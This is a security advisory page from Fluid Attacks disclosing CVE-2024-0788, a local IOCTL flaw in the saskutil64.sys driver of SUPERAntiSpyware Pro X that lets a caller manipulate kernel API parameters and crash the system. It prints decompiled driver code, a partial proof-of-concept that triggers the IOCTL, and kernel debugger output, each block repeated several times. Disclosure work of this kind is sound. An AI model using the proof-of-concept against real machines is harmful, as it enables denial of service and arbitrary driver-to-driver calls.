SUPERAntiSpyware Pro X - API manipulation
6.6
Medium
Discovered by

Offensive Team, Fluid Attacks
Summary
Full name
SUPERAntiSpyware Pro X v10.0.1260 - Kernel-level API parameters manipulation
Code name
State
Public
Release date
Jan 29, 2024
Affected product
SUPERAntiSpyware Pro X
Vendor
SUPERAntiSpyware
Affected version(s)
Version 10.0.1260
Vulnerability name
Kernel-level API parameters manipulation
Vulnerability type
Remotely exploitable
No
CVSS v3.1 vector string
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CVSS v3.1 base score
6.6
Exploit available
Yes
CVE ID(s)
Description
SUPERAntiSpyware Pro X v10.0.1260 is vulnerable to kernel-level API parameters manipulation and Denial of Service vulnerabilities by triggering the 0x9C402140 IOCTL code of the saskutil64.sys driver.
Vulnerability
The 0x9C402140 IOCTL code of the saskutil64.sys driver allows a local attacker to manipulate the parameters of the IoGetDeviceObjectPointer and IoBuildSynchronousFsdRequest kernel-level APIs, leading to DoS when a invalid Device Object is passed to IoGetDeviceObjectPointer. The primitive can be further abused to create arbitrary IRPs to perform driver-to-driver calls.
The decompiled pseudo-code of the affected function is this:
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
When an attacker performs a request to the affected IOCTL, some parameters of [1] and [2] can be influenced.
Snipped of the Proof-of-Concept:
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
The resulting kernel-level API calls are:
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Our security policy
We have reserved the ID CVE-2024-0788 to refer to this issue from now on.
System Information
Version: SUPERAntiSpyware Pro X v10.0.1260
Operating System: Windows
Mitigation
There is currently no patch available for this vulnerability.
References
Vendor page https://www.superantispyware.com/
Product page https://www.superantispyware.com/professional-x-edition.html
Credits
The vulnerability was discovered by Andres Roldan from Fluid Attacks' Offensive Team.
Timeline
Jan 22, 2024
Vulnerability discovered
Jan 22, 2024
Vendor contacted
Jan 29, 2024
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.





